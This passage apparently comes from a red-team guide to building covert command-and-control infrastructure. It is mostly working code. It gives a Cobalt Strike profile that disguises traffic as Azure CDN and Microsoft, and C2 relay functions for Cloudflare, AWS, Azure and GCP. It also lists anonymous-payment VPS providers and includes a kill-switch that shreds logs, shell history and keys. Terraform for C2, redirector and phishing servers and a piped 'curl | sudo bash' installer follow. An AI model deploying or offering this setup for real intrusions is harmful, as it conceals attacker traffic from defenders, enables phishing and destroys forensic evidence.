Domain borrowing typically exploits dangling DNS records. If cdn.targetcorp.com has a CNAME pointing to targetcorp.azureedge.net but that Azure CDN profile was deleted, you can claim that Azure CDN hostname and serve your C2 content through cdn.targetcorp.com - a domain belonging to a legitimate organization.

#Malleable C2 Profile for CDN/Domain Fronting

# Cobalt Strike malleable C2 profile - CDN fronting via Azure CDN
# The Host header is what the CDN uses for routing
# The SNI/connection target is the legitimate CDN domain

set sleeptime "60000";
set jitter    "20";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36";

https-certificate {
    set CN       "*.azureedge.net";
    set O        "Microsoft Corporation";
    set C        "US";
    set validity "365";
}

http-get {
    set uri "/api/v2/updates /api/v2/telemetry /cdn/scripts/analytics.js";

    client {
        header "Host" "your-c2-profile.azureedge.net";
        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
        header "Accept-Encoding" "gzip, deflate, br";
        header "Connection" "keep-alive";

        metadata {
            base64url;
            parameter "session";
        }
    }

    server {
        header "Content-Type" "application/javascript";
        header "Cache-Control" "max-age=3600";
        header "X-Azure-Ref" "0abc123def456";

        output {
            base64;
            prepend "var analytics = {\"data\":\"";
            append "\"}; void(0);";
            print;
        }
    }
}

http-post {
    set uri "/api/v2/submit /api/v2/report";

    client {
        header "Host" "your-c2-profile.azureedge.net";
        header "Content-Type" "application/json";

        id {
            base64url;
            parameter "id";
        }

        output {
            base64;
            print;
        }
    }

    server {
        header "Content-Type" "application/json";

        output {
            base64;
            prepend "{\"status\":\"ok\",\"data\":\"";
            append "\"}";
            print;
        }
    }
}

Key points for CDN malleable profiles: The Host header in client blocks must match your CDN-hosted domain, not the fronted domain. The implant connects to the fronted (legitimate) domain's IP, but the CDN reads Host to route to your backend. Ensure URIs look like legitimate API calls, and response bodies mimic real content (JS files, JSON APIs).

Alternative: Cloudflare Workers as C2 relay - instead of true domain fronting, use a Worker (serverless function on Cloudflare's edge) to proxy C2 traffic. Traffic appears as normal HTTPS to your-worker.workers.dev or a custom domain. This is the most reliable CDN-based C2 method in 2026 since it does not depend on SNI/Host mismatches.

#Cloudflare Workers C2 Relay

// Cloudflare Worker - C2 traffic relay
// Deploy: wrangler publish
// All traffic to this worker gets proxied to the real C2

const C2_SERVER = "https://c2.your-real-server.com";

export default {
  async fetch(request) {
    // Clone the request and forward to real C2
    const url = new URL(request.url);
    const c2Url = C2_SERVER + url.pathname + url.search;

    // Build new request preserving method, headers, body
    const modifiedRequest = new Request(c2Url, {
      method: request.method,
      headers: request.headers,
      body: request.body,
      redirect: "follow",
    });

    // Add custom header so C2 can identify proxied traffic
    modifiedRequest.headers.set("X-Forwarded-Host", url.hostname);
    modifiedRequest.headers.set("X-Real-IP",
      request.headers.get("CF-Connecting-IP") || "unknown");

    try {
      const response = await fetch(modifiedRequest);

      // Return C2 response to implant, strip server headers
      const modifiedResponse = new Response(response.body, {
        status: response.status,
        headers: response.headers,
      });
      modifiedResponse.headers.set("Server", "cloudflare");
      modifiedResponse.headers.delete("X-Powered-By");

      return modifiedResponse;
    } catch (err) {
      // Return benign page on error
      return new Response("Service Unavailable", { status: 503 });
    }
  },
};

Worker deployment:

# Install wrangler CLI
npm install -g wrangler

# Login to Cloudflare
wrangler login

# Create project
npm create cloudflare@latest c2-relay -- --type=hello-world
# Edit src/index.js with the code above

# Deploy
cd c2-relay && wrangler deploy

# Custom domain (optional - looks more legitimate)
# Add route in Cloudflare dashboard: cdn-assets.example.com/* -> c2-relay worker

wrangler.toml:

name = "c2-relay"
main = "src/index.js"
compatibility_date = "2026-01-01"

# Optional: bind to custom domain
routes = [
  { pattern = "cdn-assets.example.com/*", zone_name = "example.com" }
]

#AWS CloudFront + Lambda Relay

# Lambda function - relay C2 traffic through CloudFront
import json
import urllib.request
import urllib.error

C2_SERVER = "https://c2.your-server.com"

def lambda_handler(event, context):
    # Extract request details from CloudFront/API Gateway event
    http_method = event.get("httpMethod", "GET")
    path = event.get("path", "/")
    body = event.get("body", None)
    headers = event.get("headers", {})

    target_url = C2_SERVER + path

    req = urllib.request.Request(
        target_url,
        data=body.encode() if body else None,
        method=http_method
    )

    # Forward relevant headers
    for key in ["User-Agent", "Cookie", "Content-Type"]:
        if key in headers:
            req.add_header(key, headers[key])

    try:
        with urllib.request.urlopen(req, timeout=30) as resp:
            response_body = resp.read().decode("utf-8", errors="replace")
            return {
                "statusCode": resp.status,
                "headers": {"Content-Type": resp.headers.get("Content-Type", "text/html")},
                "body": response_body
            }
    except urllib.error.HTTPError as e:
        return {"statusCode": e.code, "body": e.read().decode()}
    except Exception:
        return {"statusCode": 502, "body": "Bad Gateway"}

#Azure Functions Relay

// Azure Function - C2 relay
// Deploy via Azure Functions Core Tools or VS Code extension

const C2_SERVER = "https://c2.your-server.com";

module.exports = async function (context, req) {
    const targetUrl = C2_SERVER + (req.params.restOfPath || "/");

    try {
        const response = await fetch(targetUrl, {
            method: req.method,
            headers: {
                "User-Agent": req.headers["user-agent"] || "",
                "Cookie": req.headers["cookie"] || "",
                "Content-Type": req.headers["content-type"] || "text/html",
            },
            body: req.method !== "GET" ? req.rawBody : undefined,
        });

        const body = await response.text();
        context.res = {
            status: response.status,
            body: body,
            headers: { "Content-Type": response.headers.get("content-type") || "text/html" },
        };
    } catch (err) {
        context.res = { status: 502, body: "Bad Gateway" };
    }
};

#GCP Cloud Functions Relay

# GCP Cloud Function - C2 relay
# Deploy: gcloud functions deploy c2relay --runtime python312 \
#   --trigger-http --allow-unauthenticated --entry-point relay

import urllib.request
import urllib.error

C2_SERVER = "https://c2.your-server.com"

def relay(request):
    path = request.path or "/"
    target_url = C2_SERVER + path
    if request.query_string:
        target_url += "?" + request.query_string.decode()

    req = urllib.request.Request(
        target_url,
        data=request.get_data() or None,
        method=request.method
    )

    for key in ["User-Agent", "Cookie", "Content-Type"]:
        val = request.headers.get(key)
        if val:
            req.add_header(key, val)

    try:
        with urllib.request.urlopen(req, timeout=30) as resp:
            return (resp.read(), resp.status,
                    {"Content-Type": resp.headers.get("Content-Type", "text/html")})
    except urllib.error.HTTPError as e:
        return (e.read(), e.code, {"Content-Type": "text/html"})
    except Exception:
        return ("Bad Gateway", 502, {"Content-Type": "text/plain"})

#C2 Server Hardening

#VPS Provider Selection

Choose providers that respect privacy and accept anonymous payment. Separate providers for each infrastructure component.

Provider Payment Notes
Njalla Crypto, cash Privacy-first, domain privacy included
BuyVM Crypto Offshore (Luxembourg), DDoS protection
1984 Hosting Crypto Iceland, strong privacy laws
Flokinet Crypto, cash Romania/Iceland/Finland
DigitalOcean Card/PayPal Good API, easy Terraform, less private
Vultr Crypto Global locations, decent privacy
Hetzner Card Germany, cheap but EU jurisdiction

#SSH Hardening

# /etc/ssh/sshd_config - hardened config for C2 server

Port 2222                           # Non-standard port
PermitRootLogin no
PasswordAuthentication no           # Key-only
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
MaxAuthTries 3
LoginGraceTime 30
AllowUsers operator                 # Only your user
ClientAliveInterval 300
ClientAliveCountMax 2
X11Forwarding no
AllowTcpForwarding yes              # Needed for SSH tunnels
PermitTunnel yes

# Restrict to specific IPs (redirector + your VPN)
# Add to /etc/ssh/sshd_config or use firewall rules
Match Address 10.0.0.0/8,192.168.0.0/16
    AllowUsers operator
# Apply and restart
sudo systemctl restart sshd

# Install fail2ban
sudo apt install fail2ban -y
cat > /etc/fail2ban/jail.local << 'JAILEOF'
[sshd]
enabled = true
port = 2222
maxretry = 3
bantime = 3600
findtime = 600
JAILEOF
sudo systemctl enable fail2ban --now

#Firewall Rules

Lock down the C2 server so only redirectors can reach it. No direct access from the internet.

#!/bin/bash
# C2 server firewall setup
# Only redirector IPs and management VPN can connect

REDIRECTOR1="203.0.113.10"
REDIRECTOR2="203.0.113.20"
MGMT_VPN="10.8.0.0/24"

# Flush existing rules
iptables -F
iptables -X

# Default deny
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT

# Allow loopback
iptables -A INPUT -i lo -j ACCEPT

# Allow established connections
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# Allow SSH only from management VPN
iptables -A INPUT -p tcp --dport 2222 -s $MGMT_VPN -j ACCEPT

# Allow C2 listeners only from redirectors
iptables -A INPUT -p tcp --dport 443 -s $REDIRECTOR1 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -s $REDIRECTOR2 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -s $REDIRECTOR1 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -s $REDIRECTOR2 -j ACCEPT

# Allow DNS from redirectors (if DNS C2)
iptables -A INPUT -p udp --dport 53 -s $REDIRECTOR1 -j ACCEPT
iptables -A INPUT -p udp --dport 53 -s $REDIRECTOR2 -j ACCEPT

# Drop everything else (already default, but explicit)
iptables -A INPUT -j DROP

# Save
iptables-save > /etc/iptables/rules.v4

#Operational Security

Per-engagement isolation - each engagement gets its own VPS instances, domains, and certificates. Never reuse infrastructure between clients.

# Log management - encrypt and rotate
# Compress and encrypt logs daily
cat > /etc/cron.daily/encrypt-logs << 'CRONEOF'
#!/bin/bash
DATE=$(date +%Y%m%d)
tar czf /tmp/logs-${DATE}.tar.gz /var/log/c2/ 2>/dev/null
gpg --symmetric --cipher-algo AES256 --batch --passphrase-file /root/.logkey \
  /tmp/logs-${DATE}.tar.gz
mv /tmp/logs-${DATE}.tar.gz.gpg /root/encrypted-logs/
shred -vfz -n 3 /tmp/logs-${DATE}.tar.gz
# Rotate original logs
find /var/log/c2/ -type f -mtime +1 -exec shred -vfz -n 3 {} \;
CRONEOF
chmod +x /etc/cron.daily/encrypt-logs

# Kill switch - wipe and shutdown if compromised
cat > /root/killswitch.sh << 'KILLEOF'
#!/bin/bash
echo "[!] Kill switch activated - wiping and shutting down"
# Stop C2 services
systemctl stop cobaltstrike sliver 2>/dev/null
pkill -9 teamserver 2>/dev/null
# Wipe C2 data
find /opt/c2/ -type f -exec shred -vfz -n 3 {} \;
# Wipe logs
find /var/log/ -type f -exec shred -vfz -n 1 {} \;
# Wipe bash history
shred -vfz -n 3 /root/.bash_history /home/*/.bash_history 2>/dev/null
# Remove SSH keys
shred -vfz -n 3 /root/.ssh/* /home/*/.ssh/* 2>/dev/null
# Overwrite free space and shutdown (install: apt install secure-delete)
sfill -fllz / 2>/dev/null &
sleep 5
shutdown -h now
KILLEOF
chmod 700 /root/killswitch.sh

Disable unnecessary services and unattended-upgrades:

Unattended-upgrades can reboot the server or restart services mid-operation. Disable it. Manage updates manually during maintenance windows.

# Minimal attack surface on C2 server
systemctl disable --now apache2 nginx cups avahi-daemon bluetooth 2>/dev/null
systemctl disable --now snapd 2>/dev/null

# Disable unattended-upgrades (prevents unexpected reboots and service restarts)
systemctl disable --now unattended-upgrades 2>/dev/null
apt purge -y unattended-upgrades 2>/dev/null
# Also disable apt daily timers
systemctl disable --now apt-daily.timer apt-daily-upgrade.timer 2>/dev/null

# Remove unnecessary packages
apt purge -y telnet rsh-client rsh-server 2>/dev/null

# Disable IPv6 if not needed (reduces exposure)
echo "net.ipv6.conf.all.disable_ipv6 = 1" >> /etc/sysctl.conf
echo "net.ipv6.conf.default.disable_ipv6 = 1" >> /etc/sysctl.conf
sysctl -p

#Disk Encryption (LUKS)

LUKS full-disk encryption is mandatory for C2 servers. If the VPS provider images the disk, or the server is seized, all C2 data is encrypted at rest. Most cloud providers do not encrypt VPS disks by default.

# === Option 1: Encrypt a data partition for C2 artifacts ===
# Create a LUKS-encrypted partition for C2 data (on a secondary disk/partition)
sudo apt install cryptsetup -y

# Create encrypted volume (will prompt for passphrase)
sudo cryptsetup luksFormat /dev/sdb1
sudo cryptsetup luksOpen /dev/sdb1 c2data
sudo mkfs.ext4 /dev/mapper/c2data
sudo mkdir -p /opt/c2
sudo mount /dev/mapper/c2data /opt/c2

# Auto-mount with keyfile (for unattended boot - store keyfile securely)
sudo dd if=/dev/urandom of=/root/.luks-keyfile bs=4096 count=1
sudo chmod 400 /root/.luks-keyfile
sudo cryptsetup luksAddKey /dev/sdb1 /root/.luks-keyfile

# Add to /etc/crypttab:
# c2data /dev/sdb1 /root/.luks-keyfile luks
# Add to /etc/fstab:
# /dev/mapper/c2data /opt/c2 ext4 defaults 0 2

# === Option 2: Encrypted RAM disk (data lost on reboot - maximum OPSEC) ===
sudo mkdir -p /opt/c2
sudo mount -t tmpfs -o size=2G,mode=0700 tmpfs /opt/c2
# All C2 data lives in RAM only. Power loss = data gone.
# Combine with LUKS for persistent storage of configs.

# === Lock volume when not in use ===
sudo umount /opt/c2
sudo cryptsetup luksClose c2data

#Log Management

What to Log What NOT to Log Why
Beacon check-in times (for reporting) Target user credentials in plaintext Credential exposure if server is seized
Operator commands executed Screenshots/keylog data on disk longer than needed Minimize stored sensitive data
Redirector access logs (for burn detection) Full packet captures of C2 traffic Massive disk usage, forensic goldmine for blue team
Infrastructure changes (DNS, IP rotations) Client/target PII beyond scope Scope compliance and liability
Errors and failed connections Operator personal identifiers OPSEC - nothing linking back to you
# Log rotation config - /etc/logrotate.d/c2
# Rotate C2 logs daily, keep 3 days max, compress and encrypt
cat > /etc/logrotate.d/c2 << 'ROTEOF'
/var/log/c2/*.log {
    daily
    rotate 3
    compress
    delaycompress
    missingok
    notifempty
    create 0600 root root
    sharedscripts
    postrotate
        # Encrypt rotated logs
        for f in /var/log/c2/*.gz; do
            gpg --symmetric --cipher-algo AES256 --batch \
              --passphrase-file /root/.logkey "$f" && shred -fz -n 1 "$f"
        done
    endscript
}
ROTEOF

#Automated Monitoring

Monitor redirector health so you know immediately when one goes down (burned, provider takedown, or misconfiguration).

#!/bin/bash
# /opt/c2/monitor.sh - Redirector health check
# Run via cron every 5 minutes: */5 * * * * /opt/c2/monitor.sh

REDIRECTORS=(
    "https://cdn-assets.example.com/api/v1/status"
    "https://static.example.com/api/v1/status"
)
# Alert via webhook (Slack, Discord, Matrix, or Telegram)
WEBHOOK_URL="https://hooks.slack.com/services/YOUR/WEBHOOK/URL"
# Alternative: Telegram
# TELEGRAM_BOT="bot123456:ABC-DEF"
# TELEGRAM_CHAT="-1001234567890"

for URL in "${REDIRECTORS[@]}"; do
    HTTP_CODE=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 "$URL")
    if [ "$HTTP_CODE" != "200" ] && [ "$HTTP_CODE" != "302" ]; then
        MSG="[ALERT] Redirector DOWN: $URL (HTTP $HTTP_CODE) at $(date -u)"
        # Slack/Discord
        curl -sk -X POST "$WEBHOOK_URL" \
          -H "Content-Type: application/json" \
          -d "{\"text\": \"$MSG\"}"
        # Telegram alternative:
        # curl -sk "https://api.telegram.org/$TELEGRAM_BOT/sendMessage" \
        #   -d "chat_id=$TELEGRAM_CHAT&text=$MSG"
    fi
done

#C2 Framework Hardening

#Cobalt Strike

# === Change default SSL certificate ===
# Default Cobalt Strike cert is fingerprinted by every vendor. Replace it.
keytool -keystore cobaltstrike.store -storepass password123 -delete -alias cobaltstrike 2>/dev/null
keytool -keystore cobaltstrike.store -storepass password123 -genkey -keyalg RSA \
  -alias cobaltstrike -dname "CN=Microsoft Update Services, OU=IT, O=Microsoft Corporation, L=Redmond, ST=WA, C=US" \
  -keypass password123 -validity 365

# Or import a real Let's Encrypt cert:
openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem -out cert.p12 -name cobaltstrike -passout pass:password123
keytool -importkeystore -deststorepass password123 -destkeypass password123 \
  -destkeystore cobaltstrike.store -srckeystore cert.p12 -srcstoretype PKCS12 \
  -srcstorepass password123 -alias cobaltstrike

# === Change default ports ===
# In teamserver startup script or c2.profile:
# set sample_name "legit";
# https-certificate {
#     set keystore "cobaltstrike.store";
#     set password "password123";
# }

# === Set killdate (auto-disable beacons after engagement) ===
# In malleable profile:
# set killdate "2026-04-30";
# After this date, all beacons self-terminate.

# === Restrict teamserver access ===
# Only allow operator connections from VPN
# In teamserver startup:
./teamserver C2-IP password123 malleable.profile 203.0.113.0/24
# The last argument restricts operator connections to that CIDR

#Sliver

# === Generate operator configs (multi-player mode) ===
sliver-server operator --name operator1 --lhost C2-IP --save operator1.cfg
# Distribute .cfg files to operators, they connect via mTLS

# === Change default ports ===
# Edit ~/.sliver/configs/server.json
# "daemon": { "host": "127.0.0.1", "port": 31337 }
# Bind to localhost, access via SSH tunnel only

# === Enable job logging ===
# In Sliver console:
# jobs
# Audit active listeners and kill unused ones

# === Use implant-specific encryption keys ===
# Sliver does this by default (per-implant key exchange)
# Verify: implants -> select implant -> info -> check encryption

# === Restrict listener interfaces ===
# Bind HTTPS listener only to VPC interface:
https --lhost 10.10.10.5 --lport 443 --domain cdn-assets.example.com

#Havoc

# === Havoc teamserver config (havoc.yaotl) ===
# Change default port and bind to localhost
# Teamserver {
#     Host = "127.0.0.1"
#     Port = 40056
# }
# Access via SSH tunnel: ssh -L 40056:127.0.0.1:40056 operator@C2-IP

# === Change default user/password ===
# Operators {
#     user "redteam" {
#         Password = "USE-A-STRONG-RANDOM-PASSWORD"
#     }
# }

# === Use custom C2 profiles ===
# Modify the HTTP listener headers, URIs, and user agents
# to match legitimate traffic patterns for the target environment

#Mythic

# === Mythic runs in Docker - harden the Docker host ===
# Bind Mythic UI to localhost only (access via SSH tunnel)
# In .env file:
# MYTHIC_SERVER_HOST=127.0.0.1
# MYTHIC_SERVER_PORT=7443
# HASURA_HOST=127.0.0.1

# === Change default credentials ===
# In .env:
# MYTHIC_ADMIN_USER=youroperator
# MYTHIC_ADMIN_PASSWORD=strong-random-password

# === Restrict Docker networking ===
# Mythic containers should not have direct internet access
# Use Docker network isolation:
docker network create --internal mythic-internal
# Expose only the C2 listener port to the redirector

#Network Segmentation on C2 Server

Even on a single VPS, use network namespaces or Docker networks to isolate C2 components. If one service is compromised, it should not have direct access to others.

# === Docker-based segmentation ===
# Create isolated networks for different functions
docker network create --internal mgmt-net      # Operator access, no internet
docker network create c2-net                    # C2 listeners (internet-facing via redirector)
docker network create --internal data-net       # Data storage, no internet

# C2 container connects to c2-net (receives from redirector) and data-net (stores loot)
# Operator UI connects to mgmt-net only (accessed via SSH tunnel)
# Data container connects to data-net only

# === iptables-based segmentation (without Docker) ===
# Restrict inter-process communication using owner matching
# Only the C2 process (running as user 'c2svc') can bind to port 443
iptables -A INPUT -p tcp --dport 443 -m owner --uid-owner c2svc -j ACCEPT
# Only the C2 process can reach the data directory
# Use file permissions: chown c2svc:c2svc /opt/c2/data && chmod 700 /opt/c2/data

#Infrastructure as Code

#Terraform - Full Example

Complete Terraform configuration for deploying a redirector and C2 server on DigitalOcean with automated DNS and firewall rules.

# main.tf - Red Team Infrastructure
# Usage: terraform init && terraform plan && terraform apply

terraform {
  required_providers {
    digitalocean = {
      source  = "digitalocean/digitalocean"
      version = "~> 2.0"
    }
    cloudflare = {
      source  = "cloudflare/cloudflare"
      version = "~> 4.0"
    }
  }
}

variable "do_token" {
  description = "DigitalOcean API token"
  type        = string
  sensitive   = true
}

variable "cf_api_token" {
  description = "Cloudflare API token"
  type        = string
  sensitive   = true
}

variable "cf_zone_id" {
  description = "Cloudflare zone ID for the domain"
  type        = string
}

variable "ssh_key_fingerprint" {
  description = "SSH key fingerprint registered in DigitalOcean"
  type        = string
}

variable "domain" {
  description = "Base domain for the operation"
  type        = string
  default     = "example.com"
}

provider "digitalocean" {
  token = var.do_token
}

provider "cloudflare" {
  api_token = var.cf_api_token
}

# --- VPC for internal communication ---
resource "digitalocean_vpc" "redteam_vpc" {
  name     = "redteam-vpc"
  region   = "ams3"
  ip_range = "10.10.10.0/24"
}

# --- C2 Server ---
resource "digitalocean_droplet" "c2_server" {
  name     = "c2-server"
  image    = "ubuntu-24-04-x64"
  size     = "s-2vcpu-4gb"
  region   = "ams3"
  vpc_uuid = digitalocean_vpc.redteam_vpc.id
  ssh_keys = [var.ssh_key_fingerprint]

  tags = ["c2", "redteam"]

  connection {
    type        = "ssh"
    user        = "root"
    private_key = file("~/.ssh/redteam_ed25519")
    host        = self.ipv4_address
  }

  provisioner "remote-exec" {
    inline = [
      "apt update && apt upgrade -y",
      "apt install -y fail2ban ufw",
      "ufw default deny incoming",
      "ufw default allow outgoing",
      "ufw allow from 10.10.10.0/24 to any port 443",
      "ufw allow from 10.10.10.0/24 to any port 2222",
      "ufw --force enable",
      "sed -i 's/#Port 22/Port 2222/' /etc/ssh/sshd_config",
      "sed -i 's/PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config",
      "systemctl restart sshd",
    ]
  }
}

# --- Redirector ---
resource "digitalocean_droplet" "redirector" {
  name     = "https-redirector"
  image    = "ubuntu-24-04-x64"
  size     = "s-1vcpu-1gb"
  region   = "ams3"
  vpc_uuid = digitalocean_vpc.redteam_vpc.id
  ssh_keys = [var.ssh_key_fingerprint]

  tags = ["redirector", "redteam"]

  connection {
    type        = "ssh"
    user        = "root"
    private_key = file("~/.ssh/redteam_ed25519")
    host        = self.ipv4_address
  }

  provisioner "remote-exec" {
    inline = [
      "apt update && apt upgrade -y",
      "apt install -y apache2 certbot python3-certbot-apache",
      "a2enmod rewrite proxy proxy_http ssl headers",
      "systemctl restart apache2",
      "certbot certonly --standalone -d cdn-assets.${var.domain} --non-interactive --agree-tos -m ops@${var.domain}",
    ]
  }
}

# --- Firewall: C2 server only accepts from redirector + VPC ---
resource "digitalocean_firewall" "c2_firewall" {
  name        = "c2-server-fw"
  droplet_ids = [digitalocean_droplet.c2_server.id]

  inbound_rule {
    protocol         = "tcp"
    port_range       = "2222"
    source_addresses = ["10.10.10.0/24"]
  }

  inbound_rule {
    protocol         = "tcp"
    port_range       = "443"
    source_addresses = [digitalocean_droplet.redirector.ipv4_address]
  }

  outbound_rule {
    protocol              = "tcp"
    port_range            = "1-65535"
    destination_addresses = ["0.0.0.0/0"]
  }

  outbound_rule {
    protocol              = "udp"
    port_range            = "1-65535"
    destination_addresses = ["0.0.0.0/0"]
  }
}

# --- Phishing Server (GoPhish + mail) ---
resource "digitalocean_droplet" "phishing" {
  name     = "phishing-server"
  image    = "ubuntu-24-04-x64"
  size     = "s-1vcpu-2gb"
  region   = "fra1"                              # Different region from C2
  vpc_uuid = digitalocean_vpc.redteam_vpc.id
  ssh_keys = [var.ssh_key_fingerprint]

  tags = ["phishing", "redteam"]

  connection {
    type        = "ssh"
    user        = "root"
    private_key = file("~/.ssh/redteam_ed25519")
    host        = self.ipv4_address
  }

  provisioner "remote-exec" {
    inline = [
      "apt update && apt upgrade -y",
      "apt install -y certbot postfix opendkim opendkim-tools",
      "mkdir -p /opt/gophish",
      "wget -qO /tmp/gophish.zip https://github.com/gophish/gophish/releases/latest/download/gophish-v0.12.1-linux-64bit.zip",
      "unzip /tmp/gophish.zip -d /opt/gophish",
      "chmod +x /opt/gophish/gophish",
      "certbot certonly --standalone -d mail.${var.domain} --non-interactive --agree-tos -m ops@${var.domain}",
    ]
  }
}

# --- Firewall: Phishing server (HTTP/HTTPS/SMTP from anywhere, SSH from VPN) ---
resource "digitalocean_firewall" "phishing_firewall" {
  name        = "phishing-server-fw"
  droplet_ids = [digitalocean_droplet.phishing.id]

  inbound_rule {
    protocol         = "tcp"
    port_range       = "2222"
    source_addresses = ["10.10.10.0/24"]
  }

  inbound_rule {
    protocol         = "tcp"
    port_range       = "80"
    source_addresses = ["0.0.0.0/0"]
  }

  inbound_rule {
    protocol         = "tcp"
    port_range       = "443"
    source_addresses = ["0.0.0.0/0"]
  }

  inbound_rule {
    protocol         = "tcp"
    port_range       = "25"
    source_addresses = ["0.0.0.0/0"]
  }

  outbound_rule {
    protocol              = "tcp"
    port_range            = "1-65535"
    destination_addresses = ["0.0.0.0/0"]
  }

  outbound_rule {
    protocol              = "udp"
    port_range            = "1-65535"
    destination_addresses = ["0.0.0.0/0"]
  }
}

# --- DNS Records via Cloudflare ---
resource "cloudflare_record" "redirector_dns" {
  zone_id = var.cf_zone_id
  name    = "cdn-assets"
  content = digitalocean_droplet.redirector.ipv4_address
  type    = "A"
  proxied = true
  ttl     = 1
}

resource "cloudflare_record" "redirector_cname" {
  zone_id = var.cf_zone_id
  name    = "static"
  content = "cdn-assets.${var.domain}"
  type    = "CNAME"
  proxied = true
  ttl     = 1
}

resource "cloudflare_record" "phishing_mail" {
  zone_id  = var.cf_zone_id
  name     = "mail"
  content  = digitalocean_droplet.phishing.ipv4_address
  type     = "A"
  proxied  = false     # Mail cannot go through Cloudflare proxy
  ttl      = 300
}

resource "cloudflare_record" "phishing_mx" {
  zone_id  = var.cf_zone_id
  name     = var.domain
  content  = "mail.${var.domain}"
  type     = "MX"
  priority = 10
  ttl      = 300
}

resource "cloudflare_record" "phishing_spf" {
  zone_id = var.cf_zone_id
  name    = var.domain
  content = "v=spf1 ip4:${digitalocean_droplet.phishing.ipv4_address} -all"
  type    = "TXT"
  ttl     = 300
}

resource "cloudflare_record" "phishing_dmarc" {
  zone_id = var.cf_zone_id
  name    = "_dmarc"
  content = "v=DMARC1; p=none; rua=mailto:dmarc@${var.domain}; fo=1"
  type    = "TXT"
  ttl     = 300
}

# --- Outputs ---
output "c2_server_ip" {
  value     = digitalocean_droplet.c2_server.ipv4_address
  sensitive = true
}

output "c2_server_private_ip" {
  value = digitalocean_droplet.c2_server.ipv4_address_private
}

output "redirector_ip" {
  value = digitalocean_droplet.redirector.ipv4_address
}

output "redirector_dns" {
  value = "cdn-assets.${var.domain}"
}

output "phishing_ip" {
  value = digitalocean_droplet.phishing.ipv4_address
}

output "phishing_mail_domain" {
  value = "mail.${var.domain}"
}

terraform.tfvars (do NOT commit this file):

do_token              = "dop_v1_xxxxxxxxxxxxxxxxxxxx"
cf_api_token          = "xxxxxxxxxxxxxxxxxxxx"
cf_zone_id            = "xxxxxxxxxxxxxxxxxxxx"
ssh_key_fingerprint   = "aa:bb:cc:dd:ee:ff:00:11:22:33:44:55:66:77:88:99"
domain                = "example.com"

#do-manager (DigitalOcean Red Team CLI)

is a modular Go CLI and library built specifically for red team infrastructure on DigitalOcean. Unlike Terraform (stateful, declarative), do-manager is imperative and stateless - no .tfstate files to protect.

# Install
go install github.com/franckferman/do-manager@latest
export DIGITALOCEAN_TOKEN="your_token"

# Deploy C2 server with c2 firewall preset
do-manager droplet create --name c2-server --region ams3 --size s-2vcpu-4gb \
  --image ubuntu-24-04-x64 --ssh-keys "my-key" --vpc "redteam-vpc"
do-manager firewall create --name c2-fw --preset c2

# Deploy redirector with redirector firewall preset
do-manager droplet create --name redir-01 --region lon1 --size s-1vcpu-1gb \
  --image ubuntu-24-04-x64 --ssh-keys "my-key"
do-manager firewall create --name redir-fw --preset redirector

# DNS setup
do-manager dns create-record --domain example.com --type A \
  --name c2 --data "REDIR_IP" --ttl 300

# IP rotation (burned redirector -> new IP in seconds)
do-manager reserved-ip create --region lon1
do-manager reserved-ip assign --ip "NEW_IP" --droplet redir-01

# Snapshot for quick rebuild
do-manager snapshot create --droplet c2-server --name "c2-clean-$(date +%F)"

# Teardown (clean, no state files left behind)
do-manager droplet delete --name c2-server --force
do-manager droplet delete --name redir-01 --force
do-manager dns delete-record --domain example.com --name c2
do-manager firewall delete --name c2-fw
do-manager firewall delete --name redir-fw

Built-in firewall presets:

Preset Inbound rules Use case
c2 SSH from VPN only + HTTPS from redirectors only C2 teamserver
redirector HTTP/HTTPS from anywhere + SSH from VPN Redirector / CDN relay
phishing HTTP/HTTPS/SMTP from anywhere + SSH from VPN GoPhish / Evilginx
bastion SSH from VPN only Jump host / management
lockdown Nothing inbound Isolated processing node

Why do-manager over Terraform for red team:

  • No state files - Terraform's .tfstate contains all IPs, hostnames, keys in plaintext. Leak = full infra exposed.
  • Imperative - Run commands as needed during the op. No plan/apply cycle.
  • Built-in presets - Firewall templates designed for red team roles.
  • IP rotation - Reserved IP reassignment in one command.
  • VPC isolation - First-class VPC support for tier separation.

#Ansible - C2 Server Hardening Role

Complete Ansible role that covers C2 installation, SSH hardening, firewall setup, log management, and monitoring.

# playbook.yml - Full C2 server provisioning and hardening
---
- name: Provision and Harden C2 Server
  hosts: c2
  become: yes
  vars:
    c2_tool: sliver                 # sliver | cobaltstrike
    c2_install_dir: /opt/c2
    ssh_port: 2222
    mgmt_vpn_cidr: "10.8.0.0/24"
    redirector_ips:
      - "203.0.113.10"
      - "203.0.113.20"
    operator_user: operator
    monitor_webhook: "https://hooks.slack.com/services/YOUR/WEBHOOK"

  tasks:
    - name: Update system
      apt:
        update_cache: yes
        upgrade: dist

    - name: Install dependencies
      apt:
        name:
          - build-essential
          - git
          - curl
          - wget
          - mingw-w64
          - net-tools
          - tmux
          - fail2ban
          - cryptsetup
          - gpg
          - iptables-persistent
          - logrotate
        state: present

    - name: Disable unattended-upgrades
      apt:
        name: unattended-upgrades
        state: absent

    - name: Disable apt daily timers
      systemd:
        name: "{{ item }}"
        state: stopped
        enabled: no
      loop:
        - apt-daily.timer
        - apt-daily-upgrade.timer
      ignore_errors: yes

    - name: Disable unnecessary services
      systemd:
        name: "{{ item }}"
        state: stopped
        enabled: no
      loop:
        - cups
        - avahi-daemon
        - bluetooth
        - snapd
      ignore_errors: yes

    - name: Create operator user
      user:
        name: "{{ operator_user }}"
        shell: /bin/bash
        groups: sudo
        create_home: yes

    - name: Create C2 directory
      file:
        path: "{{ c2_install_dir }}"
        state: directory
        mode: "0700"
        owner: "{{ operator_user }}"

    - name: Create log directories
      file:
        path: "{{ item }}"
        state: directory
        mode: "0700"
        owner: root
      loop:
        - /var/log/c2
        - /root/encrypted-logs

    - name: Install Sliver C2
      when: c2_tool == "sliver"
      shell: |
        curl https://sliver.sh/install | sudo bash
      args:
        creates: /root/sliver-server

    - name: Harden SSH
